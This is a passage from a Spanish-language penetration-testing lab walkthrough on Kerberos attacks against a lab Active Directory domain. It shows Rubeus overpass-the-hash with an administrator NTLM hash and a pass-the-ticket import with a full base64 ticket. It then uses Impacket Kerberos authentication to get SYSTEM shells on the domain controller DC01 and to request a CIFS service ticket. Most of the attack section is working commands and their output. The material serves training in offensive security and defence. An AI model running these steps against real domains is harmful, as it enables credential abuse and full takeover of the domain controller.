Como hicimos anteriormente lo haremos de la misma forma con esta tecnica para obtener el TGT y posteriormente el TGS, en este caso si hemos capturado el hash del administrador por algun casual podremos obtener el TGT mediante Rubeus como vimos anteriormente de la siguiente forma:
Abrimos una PowerShell como administrador local:
cd C:\Users\empleado1\Desktop\Rubeus-master\Rubeus\bin\Debug
.\Rubeus.exe asktgt /domain:corp.local /user:Administrator /rc4:a87f3a337d73085c45f9416be5787d86
Y vemos que hemos obtenido perfectamente el TGT del usuario Administrador.
Ahora una vez teniendo esto, metemos en un archivo este TGT en una oneline y lo utilizaremos para obtener un TGS de forma manual y que no lo haga de forma automatica Windows.
Ahora lo que vamos hacer es importarnos este ticket que hemos obtenido con Rubeus de la siguiente forma:
.\Rubeus.exe ptt /ticket:doIFYDCCBVygAwIBBaEDAgEWooIEdjCCBHJhggRuMIIEaqADAgEFoQwbCkNPUlAuTE9DQUyiIjAgoAMCAQKhGTAXGwRjaWZzGw9EQzAxLmNvcnAubG9jYWyjggQvMIIEK6ADAgESoQMCAQOiggQdBIIEGZMwASLu//FjL1fUkKEauSDzFv6K+TZ8+07dFPbrBzCOmFsUgHzpgehBhyw/CCU1zfYGqiQ//bYfUyXhYFfuLHu+GZjfj6icU7PoXQMvG196Sd6kUzpHonWSgj9JVCT92YN78SICzAxeW8zwQ/Yar57FGLy/cjCsG+YZwg2+lwTgHWiRfMH551T2XF2MkvNhO7Kee1DKA4PtwkKVBL+jhIsB4vLImiax7YmX19tQNIL+FVgb2qf4J9SyKET1GX78ooAiTtlktsCS2Y0xDAK1kGCh3W+e8zrYJG0MLxnwoGNsIGfKm2wg6C+Y/r2jeo2IToYKz7ILCWB/Sv8bU2gi0tZbywsFdbKx0gZbbl3pakasQmM4LrgTx/3ZVGsJlmGt13dajbyZwcLBLm2cSXAjilpHpEyl0qxAxWgvjGUla3O4XUBKicOCvFktiCGmMIFGlOSpLYwS9eb1vVxvDNIFtvpMAGuOIDG66QYJZJPqxWw/wMf8If0lRvCo4OmBjzFr9zsmPAuavyEApEFozXpHf0aCgQsGuLFpGo0f/NEiI96TtdVbNTJtK6GbUEPsbQ0gKgA+5PB/JFsnd9CUOvGg3qbCGRgscFnAtTSkHQ0/6efqVfhT3VTI+K2e988jy2YUspVz6Qs+xNuIgdCYZI1ptDtJpHbpPZ5aGwg5m8rTUnTFMUyYJl14SgpoDTkxtS62rfNBMiporzIm8GQESRCXRwTWIiI1lND5zuxwY4RQJMIkUTgUpsE1Pp/ZCcAyqyp5/k3rXD7+LFFVaQYelAEW71tPvOyzolf1zAMaQbLhdxVFiz0EolernQqxJENFx6sYiDDIzA/GA5dcFAlyyGtjubmbxwvaTNIKq8F6xWiQ5ci6cDMvULggdJfYzfKfl3Ukc5LoyPU0m+3ag/+UXwTEMby0Pat/iVBDTzDbB7A3ntW/mrvif02M9i5YlwodEX5f6AfigzOjRRyARnvltE3IoEo61R8TC09C8p7R/GozmQYgSlnt3/pq+H9jxiOEJbNWQIygb2uKlVYFIyUl0AEMBvWGRoDM44WBBMBWpsslJN6qqPCeuySVWp6+LGNihx0FNJrznsW6ou+mt5l2n61zLBc3/htOu9OtxREr5oiqjDrcper8mjSHVLXe7oD+gRF3TsCmGHwHHLCxEf5QwbJsI3/NAuLFqpn3OR2dNro2RPYFewSHU7b0hyy8gZJkqBmvojeMcaaEsc8FdeR5Lv5FT2PKGNfN3k9jXhutZnpazeo9dLh0ufQGuvxjehfNfgPTuzQFPNJL+aYsN5RZgwjUh63Bjum/gMdoBm9sbyv2pZpcHAZlSFjL6Y3QtTze9ipJI4YJyrJeQnGcKzTDDtaAmC6w+5LyJWxUhkj1A0jOI9CseHgHU0aFDfAAo4HVMIHSoAMCAQCigcoEgcd9gcQwgcGggb4wgbswgbigKzApoAMCARKhIgQg9VP015rZTU6O3EM4AZ6ckK8UxpYDLYJdabt7UiqeB9+hDBsKQ09SUC5MT0NBTKIaMBigAwIBAaERMA8bDUFkbWluaXN0cmF0b3KjBwMFAEAlAAClERgPMjAyNTAxMjIwODI2MjRaphEYDzIwMjUwMTIyMTgyNDQ1WqgMGwpDT1JQLkxPQ0FMqSIwIKADAgECoRkwFxsEY2lmcxsPREMwMS5jb3JwLmxvY2Fs
Y vemos que se nos importo de forma correcta, si hacemos klist podremos ver lo siguiente:
El id. de inicio de sesión actual es 0:0x68992
Vales almacenados en caché: (1)
#0> Cliente: Administrator @ CORP.LOCAL
Servidor: cifs/DC01.corp.local @ CORP.LOCAL
Tipo de cifrado de vale Kerberos: AES-256-CTS-HMAC-SHA1-96
Marcas de vale 0x40250000 -> forwardable pre_authent ok_as_delegate name_canonicalize
Hora de inicio: 1/22/2025 9:26:24 (local)
Hora de finalización: 1/22/2025 19:24:45 (local)
Hora de renovación: 0
Tipo de clave de sesión: AES-256-CTS-HMAC-SHA1-96
Marcas de caché: 0
KDC llamado:
Vemos que tenemos un ticket de servicio, justo el que especificamos cifs, como el usuario administrador.
Ahora vamos hacer el mismo proceso pero desde Linux para poder ver varias tecnicas que hay.
TGT/TGS desde Linux a Windows
Vamos a realizar la misma tecnica para el TGT como vimos anteriormente en linux de la siguiente forma:
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in Administrator.ccache
Una vez que ya tengamos el TGT en el archivo Administrator.ccache guardado, haremos lo siguiente.
Si nosotros vemos el help de la herramienta impacket pero de un parametro en concreto, veremos lo siguiente entre tanta linea:
impacket-secretsdump -h
Info:
-k Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line
Vemos que con el -k utilizara el portocolo kerberos que es el que queremos pero cogiendo como variable de entorno el TGT que tiene que estar en la palabra KRB5CCNAME, por lo que le tendremos que asignar a dicha variable de entorno el TGT que acabamos de obtener con la anterior herramienta para que lo coja de forma automatica sin necesidad de pasarle nada.
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Requesting shares on DC01.corp.local.....
[*] Found writable share ADMIN$
[*] Uploading file OmCmqyOF.exe
[*] Opening SVCManager on DC01.corp.local.....
[*] Creating service CJGu on DC01.corp.local.....
[*] Starting service CJGu.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.20348.1]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami
nt authority\system
Y con esto ya estaremos dentro del DC01 con el usuario SYSTEM basicamente el nivel mas alto de privilegios, solamente teniendo el TGT.
Tambien podriamos hacerlo de la misma forma pero meidante SMB.
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[!] Launching semi-interactive shell - Careful what you execute
C:\Windows\system32>whoami
nt authority\system
De la misma forma podremos obtener un Ticket de servicio con la herramienta impacket de la siguiente forma:
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Getting ST for user
[*] Saving ticket in Administrator@cifs_DC01.corp.local@CORP.LOCAL.ccache
Y con esto ya obtendremos el Ticket de servicio guardado en el archivo Administrator@cifs_DC01.corp.local@CORP.LOCAL.ccache.